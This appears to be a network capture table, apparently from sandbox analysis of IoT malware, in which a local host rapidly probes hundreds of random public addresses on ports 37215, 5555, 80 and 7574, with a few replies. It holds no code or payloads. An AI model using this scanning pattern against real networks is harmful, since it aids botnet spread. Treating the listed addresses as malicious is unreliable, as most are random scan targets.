Feb 12, 2023 21:25:08.814749956 CET	50052	37215	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:08.814755917 CET	50610	37215	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:08.846827984 CET	50908	37215	192.168.2.23	49.52.49.46
Feb 12, 2023 21:25:08.846898079 CET	45484	37215	192.168.2.23	50.48.54.46
Feb 12, 2023 21:25:08.878839970 CET	36828	37215	192.168.2.23	49.49.46.49
Feb 12, 2023 21:25:08.963563919 CET	55188	80	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:08.985575914 CET	22272	5555	192.168.2.23	25.24.75.79
Feb 12, 2023 21:25:08.985613108 CET	22272	5555	192.168.2.23	65.241.91.175
Feb 12, 2023 21:25:08.985615015 CET	22272	5555	192.168.2.23	108.158.126.190
Feb 12, 2023 21:25:08.985613108 CET	22272	5555	192.168.2.23	90.106.242.237
Feb 12, 2023 21:25:08.985613108 CET	22272	5555	192.168.2.23	65.252.106.97
Feb 12, 2023 21:25:08.985613108 CET	22272	5555	192.168.2.23	100.223.97.10
Feb 12, 2023 21:25:08.985620022 CET	22272	5555	192.168.2.23	75.218.90.229
Feb 12, 2023 21:25:08.985625982 CET	22272	5555	192.168.2.23	143.223.230.226
Feb 12, 2023 21:25:08.985673904 CET	22272	5555	192.168.2.23	211.43.211.23
Feb 12, 2023 21:25:08.985673904 CET	22272	5555	192.168.2.23	63.199.123.108
Feb 12, 2023 21:25:08.985673904 CET	22272	5555	192.168.2.23	9.223.182.10
Feb 12, 2023 21:25:08.985680103 CET	22272	5555	192.168.2.23	168.179.253.148
Feb 12, 2023 21:25:08.985680103 CET	22272	5555	192.168.2.23	219.194.148.24
Feb 12, 2023 21:25:08.985680103 CET	22272	5555	192.168.2.23	143.10.16.29
Feb 12, 2023 21:25:08.985686064 CET	22272	5555	192.168.2.23	119.82.86.168
Feb 12, 2023 21:25:08.985686064 CET	22272	5555	192.168.2.23	167.79.65.147
Feb 12, 2023 21:25:08.985686064 CET	22272	5555	192.168.2.23	223.126.57.72
Feb 12, 2023 21:25:08.985686064 CET	22272	5555	192.168.2.23	173.29.170.54
Feb 12, 2023 21:25:08.985680103 CET	22272	5555	192.168.2.23	70.225.129.122
Feb 12, 2023 21:25:08.985680103 CET	22272	5555	192.168.2.23	198.237.208.173
Feb 12, 2023 21:25:08.985680103 CET	22272	5555	192.168.2.23	216.142.88.58
Feb 12, 2023 21:25:08.985692978 CET	22272	5555	192.168.2.23	211.17.23.231
Feb 12, 2023 21:25:08.985692978 CET	22272	5555	192.168.2.23	168.33.32.18
Feb 12, 2023 21:25:08.985702038 CET	22272	5555	192.168.2.23	86.149.233.9
Feb 12, 2023 21:25:08.985702038 CET	22272	5555	192.168.2.23	157.242.85.228
Feb 12, 2023 21:25:08.985702038 CET	22272	5555	192.168.2.23	157.102.215.161
Feb 12, 2023 21:25:08.985702038 CET	22272	5555	192.168.2.23	151.228.135.42
Feb 12, 2023 21:25:08.985727072 CET	22272	5555	192.168.2.23	200.102.249.52
Feb 12, 2023 21:25:08.985728979 CET	22272	5555	192.168.2.23	147.236.20.143
Feb 12, 2023 21:25:08.985729933 CET	22272	5555	192.168.2.23	54.133.95.17
Feb 12, 2023 21:25:08.985728979 CET	22272	5555	192.168.2.23	177.148.253.207
Feb 12, 2023 21:25:08.985728979 CET	22272	5555	192.168.2.23	23.69.26.125
Feb 12, 2023 21:25:08.985729933 CET	22272	5555	192.168.2.23	129.61.154.15
Feb 12, 2023 21:25:08.985729933 CET	22272	5555	192.168.2.23	14.7.6.110
Feb 12, 2023 21:25:08.985761881 CET	22272	5555	192.168.2.23	128.68.197.207
Feb 12, 2023 21:25:08.985761881 CET	22272	5555	192.168.2.23	117.135.161.234
Feb 12, 2023 21:25:08.985761881 CET	22272	5555	192.168.2.23	86.241.113.207
Feb 12, 2023 21:25:08.985761881 CET	22272	5555	192.168.2.23	45.85.1.196
Feb 12, 2023 21:25:08.985761881 CET	22272	5555	192.168.2.23	210.75.41.3
Feb 12, 2023 21:25:08.985761881 CET	22272	5555	192.168.2.23	79.173.62.213
Feb 12, 2023 21:25:08.985775948 CET	22272	5555	192.168.2.23	84.17.192.75
Feb 12, 2023 21:25:08.985783100 CET	22272	5555	192.168.2.23	135.58.202.95
Feb 12, 2023 21:25:08.985783100 CET	22272	5555	192.168.2.23	145.209.111.67
Feb 12, 2023 21:25:08.985783100 CET	22272	5555	192.168.2.23	109.197.224.109
Feb 12, 2023 21:25:08.985783100 CET	22272	5555	192.168.2.23	51.208.248.247
Feb 12, 2023 21:25:08.985783100 CET	22272	5555	192.168.2.23	116.20.243.184
Feb 12, 2023 21:25:08.985794067 CET	22272	5555	192.168.2.23	134.138.129.248
Feb 12, 2023 21:25:08.985794067 CET	22272	5555	192.168.2.23	107.161.80.45
Feb 12, 2023 21:25:08.985794067 CET	22272	5555	192.168.2.23	189.12.93.35
Feb 12, 2023 21:25:08.985817909 CET	22272	5555	192.168.2.23	51.229.109.29
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	107.71.232.22
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	142.185.111.195
Feb 12, 2023 21:25:08.985817909 CET	22272	5555	192.168.2.23	138.40.161.194
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	31.66.91.98
Feb 12, 2023 21:25:08.985819101 CET	22272	5555	192.168.2.23	101.127.223.11
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	153.65.55.133
Feb 12, 2023 21:25:08.985829115 CET	22272	5555	192.168.2.23	49.46.139.237
Feb 12, 2023 21:25:08.985819101 CET	22272	5555	192.168.2.23	187.187.153.13
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	156.91.145.119
Feb 12, 2023 21:25:08.985819101 CET	22272	5555	192.168.2.23	153.91.171.7
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	27.67.78.177
Feb 12, 2023 21:25:08.985819101 CET	22272	5555	192.168.2.23	58.239.214.162
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	161.198.99.97
Feb 12, 2023 21:25:08.985819101 CET	22272	5555	192.168.2.23	25.21.102.211
Feb 12, 2023 21:25:08.985836983 CET	22272	5555	192.168.2.23	110.177.90.9
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	169.90.243.2
Feb 12, 2023 21:25:08.985825062 CET	22272	5555	192.168.2.23	60.104.95.231
Feb 12, 2023 21:25:08.985838890 CET	22272	5555	192.168.2.23	117.222.224.123
Feb 12, 2023 21:25:08.985838890 CET	22272	5555	192.168.2.23	181.215.132.59
Feb 12, 2023 21:25:08.985862970 CET	22272	5555	192.168.2.23	213.73.44.100
Feb 12, 2023 21:25:08.985862970 CET	22272	5555	192.168.2.23	172.102.39.235
Feb 12, 2023 21:25:08.985873938 CET	22272	5555	192.168.2.23	109.161.217.63
Feb 12, 2023 21:25:08.985873938 CET	22272	5555	192.168.2.23	91.49.184.176
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	14.21.148.102
Feb 12, 2023 21:25:08.985904932 CET	22272	5555	192.168.2.23	79.149.46.114
Feb 12, 2023 21:25:08.985905886 CET	22272	5555	192.168.2.23	160.131.136.175
Feb 12, 2023 21:25:08.985904932 CET	22272	5555	192.168.2.23	131.15.100.235
Feb 12, 2023 21:25:08.985905886 CET	22272	5555	192.168.2.23	209.24.46.122
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	76.252.221.58
Feb 12, 2023 21:25:08.985904932 CET	22272	5555	192.168.2.23	165.135.193.17
Feb 12, 2023 21:25:08.985905886 CET	22272	5555	192.168.2.23	112.162.232.235
Feb 12, 2023 21:25:08.985912085 CET	22272	5555	192.168.2.23	153.171.106.186
Feb 12, 2023 21:25:08.985905886 CET	22272	5555	192.168.2.23	119.165.174.165
Feb 12, 2023 21:25:08.985904932 CET	22272	5555	192.168.2.23	97.225.193.28
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	159.46.21.34
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	121.140.82.46
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	38.85.46.186
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	195.228.124.230
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	89.182.19.251
Feb 12, 2023 21:25:08.985898018 CET	22272	5555	192.168.2.23	65.168.166.73
Feb 12, 2023 21:25:08.985928059 CET	22272	5555	192.168.2.23	208.60.212.255
Feb 12, 2023 21:25:08.985928059 CET	22272	5555	192.168.2.23	111.164.151.203
Feb 12, 2023 21:25:08.985960007 CET	22272	5555	192.168.2.23	76.192.195.185
Feb 12, 2023 21:25:08.985960007 CET	22272	5555	192.168.2.23	142.250.123.255
Feb 12, 2023 21:25:08.985960007 CET	22272	5555	192.168.2.23	138.74.151.121
Feb 12, 2023 21:25:08.985960960 CET	22272	5555	192.168.2.23	71.65.165.183
Feb 12, 2023 21:25:08.985960960 CET	22272	5555	192.168.2.23	17.9.162.152
Feb 12, 2023 21:25:08.985960960 CET	22272	5555	192.168.2.23	218.16.39.155
Feb 12, 2023 21:25:08.985960960 CET	22272	5555	192.168.2.23	147.237.150.147
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	189.208.235.236
Feb 12, 2023 21:25:08.985970020 CET	22272	5555	192.168.2.23	107.207.188.129
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	34.165.189.108
Feb 12, 2023 21:25:08.985969067 CET	22272	5555	192.168.2.23	112.170.34.17
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	53.138.51.152
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	167.5.32.144
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	167.18.29.29
Feb 12, 2023 21:25:08.985969067 CET	22272	5555	192.168.2.23	138.244.203.91
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	91.209.17.22
Feb 12, 2023 21:25:08.985969067 CET	22272	5555	192.168.2.23	159.47.5.125
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	110.165.119.34
Feb 12, 2023 21:25:08.985968113 CET	22272	5555	192.168.2.23	194.150.72.246
Feb 12, 2023 21:25:08.986040115 CET	22272	5555	192.168.2.23	74.42.157.210
Feb 12, 2023 21:25:08.986040115 CET	22272	5555	192.168.2.23	191.70.139.215
Feb 12, 2023 21:25:08.986040115 CET	22272	5555	192.168.2.23	77.152.46.29
Feb 12, 2023 21:25:08.986043930 CET	22272	5555	192.168.2.23	79.72.249.108
Feb 12, 2023 21:25:08.986044884 CET	22272	5555	192.168.2.23	62.235.101.216
Feb 12, 2023 21:25:08.986043930 CET	22272	5555	192.168.2.23	145.57.255.194
Feb 12, 2023 21:25:08.986040115 CET	22272	5555	192.168.2.23	138.184.116.68
Feb 12, 2023 21:25:08.986043930 CET	22272	5555	192.168.2.23	130.29.161.72
Feb 12, 2023 21:25:08.986044884 CET	22272	5555	192.168.2.23	88.236.221.52
Feb 12, 2023 21:25:08.986047983 CET	22272	5555	192.168.2.23	63.54.14.123
Feb 12, 2023 21:25:08.986040115 CET	22272	5555	192.168.2.23	160.181.62.22
Feb 12, 2023 21:25:08.986044884 CET	22272	5555	192.168.2.23	155.215.203.35
Feb 12, 2023 21:25:08.986040115 CET	22272	5555	192.168.2.23	189.165.75.52
Feb 12, 2023 21:25:08.986044884 CET	22272	5555	192.168.2.23	46.195.120.166
Feb 12, 2023 21:25:08.986052036 CET	22272	5555	192.168.2.23	204.22.213.178
Feb 12, 2023 21:25:08.986040115 CET	22272	5555	192.168.2.23	141.134.102.247
Feb 12, 2023 21:25:08.986052990 CET	22272	5555	192.168.2.23	65.10.141.73
Feb 12, 2023 21:25:08.986052990 CET	22272	5555	192.168.2.23	48.226.26.33
Feb 12, 2023 21:25:08.986052990 CET	22272	5555	192.168.2.23	32.154.202.11
Feb 12, 2023 21:25:08.986078978 CET	22272	5555	192.168.2.23	174.218.68.231
Feb 12, 2023 21:25:08.986098051 CET	22272	5555	192.168.2.23	189.149.90.223
Feb 12, 2023 21:25:08.986099005 CET	22272	5555	192.168.2.23	71.108.47.23
Feb 12, 2023 21:25:08.986109018 CET	22272	5555	192.168.2.23	40.68.20.97
Feb 12, 2023 21:25:08.986107111 CET	22272	5555	192.168.2.23	143.106.242.50
Feb 12, 2023 21:25:08.986107111 CET	22272	5555	192.168.2.23	119.31.20.41
Feb 12, 2023 21:25:08.986107111 CET	22272	5555	192.168.2.23	58.254.194.141
Feb 12, 2023 21:25:08.986107111 CET	22272	5555	192.168.2.23	8.248.247.166
Feb 12, 2023 21:25:08.986107111 CET	22272	5555	192.168.2.23	133.192.230.67
Feb 12, 2023 21:25:08.986107111 CET	22272	5555	192.168.2.23	140.152.205.208
Feb 12, 2023 21:25:08.986108065 CET	22272	5555	192.168.2.23	148.232.104.175
Feb 12, 2023 21:25:08.986108065 CET	22272	5555	192.168.2.23	119.145.106.137
Feb 12, 2023 21:25:08.986151934 CET	22272	5555	192.168.2.23	204.234.65.72
Feb 12, 2023 21:25:08.986151934 CET	22272	5555	192.168.2.23	198.3.72.100
Feb 12, 2023 21:25:08.986151934 CET	22272	5555	192.168.2.23	134.212.46.7
Feb 12, 2023 21:25:08.986156940 CET	22272	5555	192.168.2.23	74.134.188.165
Feb 12, 2023 21:25:08.986151934 CET	22272	5555	192.168.2.23	45.60.1.163
Feb 12, 2023 21:25:08.986156940 CET	22272	5555	192.168.2.23	173.246.14.26
Feb 12, 2023 21:25:08.986151934 CET	22272	5555	192.168.2.23	32.109.169.206
Feb 12, 2023 21:25:08.986151934 CET	22272	5555	192.168.2.23	63.227.67.0
Feb 12, 2023 21:25:08.986152887 CET	22272	5555	192.168.2.23	128.57.114.54
Feb 12, 2023 21:25:08.986152887 CET	22272	5555	192.168.2.23	82.67.206.182
Feb 12, 2023 21:25:08.986232996 CET	22272	5555	192.168.2.23	133.242.27.228
Feb 12, 2023 21:25:08.986232996 CET	22272	5555	192.168.2.23	82.243.179.227
Feb 12, 2023 21:25:08.986232996 CET	22272	5555	192.168.2.23	104.241.129.124
Feb 12, 2023 21:25:08.986232996 CET	22272	5555	192.168.2.23	42.34.235.22
Feb 12, 2023 21:25:08.986232996 CET	22272	5555	192.168.2.23	9.176.183.168
Feb 12, 2023 21:25:08.986232996 CET	22272	5555	192.168.2.23	195.102.68.101
Feb 12, 2023 21:25:08.986278057 CET	22272	5555	192.168.2.23	100.219.225.69
Feb 12, 2023 21:25:08.986279011 CET	22272	5555	192.168.2.23	44.119.244.200
Feb 12, 2023 21:25:09.008439064 CET	5555	22272	45.60.1.163	192.168.2.23
Feb 12, 2023 21:25:09.008550882 CET	22272	5555	192.168.2.23	45.60.1.163
Feb 12, 2023 21:25:09.019185066 CET	5555	22272	138.40.161.194	192.168.2.23
Feb 12, 2023 21:25:09.019306898 CET	22272	5555	192.168.2.23	138.40.161.194
Feb 12, 2023 21:25:09.026566029 CET	5555	22272	84.17.192.75	192.168.2.23
Feb 12, 2023 21:25:09.151915073 CET	5555	22272	107.161.80.45	192.168.2.23
Feb 12, 2023 21:25:09.166941881 CET	42104	7574	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:09.230840921 CET	47248	5555	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:09.246484041 CET	5555	22272	112.170.34.17	192.168.2.23
Feb 12, 2023 21:25:09.248265982 CET	5555	22272	121.140.82.46	192.168.2.23
Feb 12, 2023 21:25:09.269290924 CET	5555	22272	58.239.214.162	192.168.2.23
Feb 12, 2023 21:25:09.283339977 CET	5555	22272	60.104.95.231	192.168.2.23
Feb 12, 2023 21:25:09.484989882 CET	52981	37215	192.168.2.23	41.175.45.242
Feb 12, 2023 21:25:09.485013962 CET	52981	37215	192.168.2.23	41.127.49.247
Feb 12, 2023 21:25:09.485018969 CET	52981	37215	192.168.2.23	41.71.28.150
Feb 12, 2023 21:25:09.485042095 CET	52981	37215	192.168.2.23	144.134.142.167
Feb 12, 2023 21:25:09.485043049 CET	52981	37215	192.168.2.23	197.100.162.214
Feb 12, 2023 21:25:09.485078096 CET	52981	37215	192.168.2.23	74.87.63.222
Feb 12, 2023 21:25:09.485081911 CET	52981	37215	192.168.2.23	197.173.210.68
Feb 12, 2023 21:25:09.485090017 CET	52981	37215	192.168.2.23	89.18.60.184
Feb 12, 2023 21:25:09.485090017 CET	52981	37215	192.168.2.23	157.28.164.199
Feb 12, 2023 21:25:09.485091925 CET	52981	37215	192.168.2.23	41.173.128.82
Feb 12, 2023 21:25:09.485102892 CET	52981	37215	192.168.2.23	37.6.76.1
Feb 12, 2023 21:25:09.485137939 CET	52981	37215	192.168.2.23	157.225.149.199
Feb 12, 2023 21:25:09.485184908 CET	52981	37215	192.168.2.23	64.147.217.93
Feb 12, 2023 21:25:09.485184908 CET	52981	37215	192.168.2.23	197.30.193.225
Feb 12, 2023 21:25:09.485259056 CET	52981	37215	192.168.2.23	41.180.142.173
Feb 12, 2023 21:25:09.485347986 CET	52981	37215	192.168.2.23	133.181.177.90
Feb 12, 2023 21:25:09.485347986 CET	52981	37215	192.168.2.23	157.189.66.143
Feb 12, 2023 21:25:09.485389948 CET	52981	37215	192.168.2.23	150.63.10.127
Feb 12, 2023 21:25:09.485414982 CET	52981	37215	192.168.2.23	185.134.122.217
Feb 12, 2023 21:25:09.485444069 CET	52981	37215	192.168.2.23	167.64.67.176
Feb 12, 2023 21:25:09.485459089 CET	52981	37215	192.168.2.23	157.202.248.183
Feb 12, 2023 21:25:09.485467911 CET	52981	37215	192.168.2.23	41.255.151.104
Feb 12, 2023 21:25:09.485491037 CET	52981	37215	192.168.2.23	41.145.174.166
Feb 12, 2023 21:25:09.485491037 CET	52981	37215	192.168.2.23	157.42.165.45
Feb 12, 2023 21:25:09.485522032 CET	52981	37215	192.168.2.23	197.115.172.76
Feb 12, 2023 21:25:09.485538960 CET	52981	37215	192.168.2.23	197.36.186.215
Feb 12, 2023 21:25:09.485569000 CET	52981	37215	192.168.2.23	197.212.37.226
Feb 12, 2023 21:25:09.485606909 CET	52981	37215	192.168.2.23	157.122.195.194
Feb 12, 2023 21:25:09.485625029 CET	52981	37215	192.168.2.23	41.232.91.91
Feb 12, 2023 21:25:09.485641956 CET	52981	37215	192.168.2.23	157.147.52.232
Feb 12, 2023 21:25:09.485641956 CET	52981	37215	192.168.2.23	196.253.17.157
Feb 12, 2023 21:25:09.485646963 CET	52981	37215	192.168.2.23	157.24.202.211
Feb 12, 2023 21:25:09.485691071 CET	52981	37215	192.168.2.23	110.197.160.154
Feb 12, 2023 21:25:09.485694885 CET	52981	37215	192.168.2.23	65.66.168.233
Feb 12, 2023 21:25:09.485696077 CET	52981	37215	192.168.2.23	197.195.155.34
Feb 12, 2023 21:25:09.485704899 CET	52981	37215	192.168.2.23	157.98.181.155
Feb 12, 2023 21:25:09.485706091 CET	52981	37215	192.168.2.23	189.133.8.89
Feb 12, 2023 21:25:09.485706091 CET	52981	37215	192.168.2.23	197.74.47.155
Feb 12, 2023 21:25:09.485708952 CET	52981	37215	192.168.2.23	197.178.168.73
Feb 12, 2023 21:25:09.485708952 CET	52981	37215	192.168.2.23	217.179.212.194
Feb 12, 2023 21:25:09.485713005 CET	52981	37215	192.168.2.23	41.166.80.194
Feb 12, 2023 21:25:09.485739946 CET	52981	37215	192.168.2.23	41.247.240.131
Feb 12, 2023 21:25:09.485799074 CET	52981	37215	192.168.2.23	157.110.91.198
Feb 12, 2023 21:25:09.485799074 CET	52981	37215	192.168.2.23	41.180.218.28
Feb 12, 2023 21:25:09.485810041 CET	52981	37215	192.168.2.23	197.100.253.102
Feb 12, 2023 21:25:09.485829115 CET	52981	37215	192.168.2.23	41.166.163.178
Feb 12, 2023 21:25:09.485867023 CET	52981	37215	192.168.2.23	157.126.65.172
Feb 12, 2023 21:25:09.485893011 CET	52981	37215	192.168.2.23	197.217.58.237
Feb 12, 2023 21:25:09.485898018 CET	52981	37215	192.168.2.23	41.84.152.172
Feb 12, 2023 21:25:09.485898018 CET	52981	37215	192.168.2.23	123.225.130.23
Feb 12, 2023 21:25:09.485910892 CET	52981	37215	192.168.2.23	41.167.75.243
Feb 12, 2023 21:25:09.485943079 CET	52981	37215	192.168.2.23	41.14.82.15
Feb 12, 2023 21:25:09.485946894 CET	52981	37215	192.168.2.23	41.207.113.42
Feb 12, 2023 21:25:09.485977888 CET	52981	37215	192.168.2.23	20.230.38.3
Feb 12, 2023 21:25:09.485994101 CET	52981	37215	192.168.2.23	41.60.87.144
Feb 12, 2023 21:25:09.486021042 CET	52981	37215	192.168.2.23	157.29.212.228
Feb 12, 2023 21:25:09.486078024 CET	52981	37215	192.168.2.23	197.189.53.202
Feb 12, 2023 21:25:09.486114025 CET	52981	37215	192.168.2.23	157.83.9.247
Feb 12, 2023 21:25:09.486156940 CET	52981	37215	192.168.2.23	197.34.6.11
Feb 12, 2023 21:25:09.486206055 CET	52981	37215	192.168.2.23	197.229.174.110
Feb 12, 2023 21:25:09.486213923 CET	52981	37215	192.168.2.23	157.39.98.55
Feb 12, 2023 21:25:09.486233950 CET	52981	37215	192.168.2.23	157.251.168.96
Feb 12, 2023 21:25:09.486254930 CET	52981	37215	192.168.2.23	159.36.93.221
Feb 12, 2023 21:25:09.486254930 CET	52981	37215	192.168.2.23	41.188.61.12
Feb 12, 2023 21:25:09.486274004 CET	52981	37215	192.168.2.23	41.83.249.223
Feb 12, 2023 21:25:09.486291885 CET	52981	37215	192.168.2.23	197.149.12.214
Feb 12, 2023 21:25:09.486316919 CET	52981	37215	192.168.2.23	197.237.42.120
Feb 12, 2023 21:25:09.486319065 CET	52981	37215	192.168.2.23	157.254.224.187
Feb 12, 2023 21:25:09.486368895 CET	52981	37215	192.168.2.23	197.79.144.155
Feb 12, 2023 21:25:09.486371040 CET	52981	37215	192.168.2.23	157.162.240.78
Feb 12, 2023 21:25:09.486409903 CET	52981	37215	192.168.2.23	197.216.188.70
Feb 12, 2023 21:25:09.486412048 CET	52981	37215	192.168.2.23	197.156.214.77
Feb 12, 2023 21:25:09.486433029 CET	52981	37215	192.168.2.23	197.14.133.25
Feb 12, 2023 21:25:09.486447096 CET	52981	37215	192.168.2.23	96.231.219.238
Feb 12, 2023 21:25:09.486449957 CET	52981	37215	192.168.2.23	150.38.168.252
Feb 12, 2023 21:25:09.486450911 CET	52981	37215	192.168.2.23	128.197.93.12
Feb 12, 2023 21:25:09.486450911 CET	52981	37215	192.168.2.23	157.86.49.27
Feb 12, 2023 21:25:09.486474037 CET	52981	37215	192.168.2.23	157.51.153.1
Feb 12, 2023 21:25:09.486479044 CET	52981	37215	192.168.2.23	157.40.211.16
Feb 12, 2023 21:25:09.486505985 CET	52981	37215	192.168.2.23	41.55.180.93
Feb 12, 2023 21:25:09.486526966 CET	52981	37215	192.168.2.23	41.122.92.250
Feb 12, 2023 21:25:09.486526966 CET	52981	37215	192.168.2.23	108.247.191.171
Feb 12, 2023 21:25:09.486531019 CET	52981	37215	192.168.2.23	157.206.254.41
Feb 12, 2023 21:25:09.486531019 CET	52981	37215	192.168.2.23	157.31.81.154
Feb 12, 2023 21:25:09.486552954 CET	52981	37215	192.168.2.23	41.124.194.243
Feb 12, 2023 21:25:09.486553907 CET	52981	37215	192.168.2.23	182.189.127.224
Feb 12, 2023 21:25:09.486582041 CET	52981	37215	192.168.2.23	90.251.23.134
Feb 12, 2023 21:25:09.486582994 CET	52981	37215	192.168.2.23	41.63.136.167
Feb 12, 2023 21:25:09.486910105 CET	43996	80	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:09.486968994 CET	48254	80	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:09.486968994 CET	45398	80	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:09.487091064 CET	52981	37215	192.168.2.23	219.227.107.52
Feb 12, 2023 21:25:09.487123013 CET	56438	80	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:09.487144947 CET	35052	80	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:09.487245083 CET	52981	37215	192.168.2.23	41.42.31.95
Feb 12, 2023 21:25:09.487274885 CET	52981	37215	192.168.2.23	157.105.238.35
Feb 12, 2023 21:25:09.487294912 CET	52981	37215	192.168.2.23	41.197.243.28
Feb 12, 2023 21:25:09.487304926 CET	52981	37215	192.168.2.23	209.227.96.243
Feb 12, 2023 21:25:09.487308025 CET	52981	37215	192.168.2.23	157.78.136.169
Feb 12, 2023 21:25:09.487334967 CET	52981	37215	192.168.2.23	41.226.217.53
Feb 12, 2023 21:25:09.487344027 CET	52981	37215	192.168.2.23	197.185.30.195
Feb 12, 2023 21:25:09.487344027 CET	52981	37215	192.168.2.23	41.132.234.244
Feb 12, 2023 21:25:09.487344027 CET	52981	37215	192.168.2.23	197.159.21.241
Feb 12, 2023 21:25:09.487382889 CET	52981	37215	192.168.2.23	197.95.137.190
Feb 12, 2023 21:25:09.487385988 CET	52981	37215	192.168.2.23	157.253.38.150
Feb 12, 2023 21:25:09.487385988 CET	52981	37215	192.168.2.23	148.155.94.246
Feb 12, 2023 21:25:09.487390995 CET	52981	37215	192.168.2.23	197.144.143.205
Feb 12, 2023 21:25:09.487411022 CET	52981	37215	192.168.2.23	41.154.212.188
Feb 12, 2023 21:25:09.487430096 CET	52981	37215	192.168.2.23	60.171.40.156
Feb 12, 2023 21:25:09.487436056 CET	52981	37215	192.168.2.23	41.107.125.155
Feb 12, 2023 21:25:09.487454891 CET	52981	37215	192.168.2.23	41.23.54.15
Feb 12, 2023 21:25:09.487467051 CET	52981	37215	192.168.2.23	157.10.21.14
Feb 12, 2023 21:25:09.487473965 CET	52981	37215	192.168.2.23	197.47.135.161
Feb 12, 2023 21:25:09.487502098 CET	52981	37215	192.168.2.23	197.154.242.253
Feb 12, 2023 21:25:09.487541914 CET	52981	37215	192.168.2.23	41.88.45.152
Feb 12, 2023 21:25:09.487571001 CET	52981	37215	192.168.2.23	157.0.22.24
Feb 12, 2023 21:25:09.487586021 CET	52981	37215	192.168.2.23	157.145.101.114
Feb 12, 2023 21:25:09.487605095 CET	52981	37215	192.168.2.23	41.19.38.100
Feb 12, 2023 21:25:09.487608910 CET	52981	37215	192.168.2.23	41.237.18.132
Feb 12, 2023 21:25:09.487622023 CET	52981	37215	192.168.2.23	207.181.219.41
Feb 12, 2023 21:25:09.487647057 CET	52981	37215	192.168.2.23	197.233.128.114
Feb 12, 2023 21:25:09.487679958 CET	52981	37215	192.168.2.23	197.121.195.159
Feb 12, 2023 21:25:09.487682104 CET	52981	37215	192.168.2.23	41.127.24.140
Feb 12, 2023 21:25:09.487704992 CET	52981	37215	192.168.2.23	197.33.60.104
Feb 12, 2023 21:25:09.487728119 CET	52981	37215	192.168.2.23	157.215.10.89
Feb 12, 2023 21:25:09.487742901 CET	52981	37215	192.168.2.23	197.72.166.206
Feb 12, 2023 21:25:09.487742901 CET	52981	37215	192.168.2.23	41.109.81.42
Feb 12, 2023 21:25:09.487752914 CET	52981	37215	192.168.2.23	157.164.123.210
Feb 12, 2023 21:25:09.487768888 CET	52981	37215	192.168.2.23	184.181.91.186
Feb 12, 2023 21:25:09.487795115 CET	52981	37215	192.168.2.23	197.56.223.4
Feb 12, 2023 21:25:09.487809896 CET	52981	37215	192.168.2.23	41.36.130.99
Feb 12, 2023 21:25:09.487914085 CET	52981	37215	192.168.2.23	125.202.203.177
Feb 12, 2023 21:25:09.487915039 CET	52981	37215	192.168.2.23	157.180.169.181
Feb 12, 2023 21:25:09.487915039 CET	52981	37215	192.168.2.23	152.59.158.93
Feb 12, 2023 21:25:09.487915039 CET	52981	37215	192.168.2.23	41.138.238.54
Feb 12, 2023 21:25:09.487915039 CET	52981	37215	192.168.2.23	157.187.77.54
Feb 12, 2023 21:25:09.487938881 CET	52981	37215	192.168.2.23	166.158.73.203
Feb 12, 2023 21:25:09.487940073 CET	52981	37215	192.168.2.23	41.230.233.32
Feb 12, 2023 21:25:09.487947941 CET	52981	37215	192.168.2.23	157.66.104.70
Feb 12, 2023 21:25:09.487970114 CET	52981	37215	192.168.2.23	136.98.193.23
Feb 12, 2023 21:25:09.488008976 CET	52981	37215	192.168.2.23	165.195.130.170
Feb 12, 2023 21:25:09.488008976 CET	52981	37215	192.168.2.23	71.46.215.141
Feb 12, 2023 21:25:09.488044977 CET	52981	37215	192.168.2.23	41.133.221.70
Feb 12, 2023 21:25:09.488044977 CET	52981	37215	192.168.2.23	41.149.130.206
Feb 12, 2023 21:25:09.488064051 CET	52981	37215	192.168.2.23	41.239.213.191
Feb 12, 2023 21:25:09.488100052 CET	52981	37215	192.168.2.23	157.107.143.154
Feb 12, 2023 21:25:09.488110065 CET	52981	37215	192.168.2.23	157.196.151.53
Feb 12, 2023 21:25:09.488132954 CET	52981	37215	192.168.2.23	41.36.143.243
Feb 12, 2023 21:25:09.488162041 CET	52981	37215	192.168.2.23	42.30.221.192
Feb 12, 2023 21:25:09.488162041 CET	52981	37215	192.168.2.23	157.229.155.120
Feb 12, 2023 21:25:09.488177061 CET	52981	37215	192.168.2.23	41.139.159.100
Feb 12, 2023 21:25:09.488202095 CET	52981	37215	192.168.2.23	157.230.70.162
Feb 12, 2023 21:25:09.488204956 CET	52981	37215	192.168.2.23	41.180.32.38
Feb 12, 2023 21:25:09.488226891 CET	52981	37215	192.168.2.23	203.30.161.238
Feb 12, 2023 21:25:09.488230944 CET	52981	37215	192.168.2.23	157.32.206.31
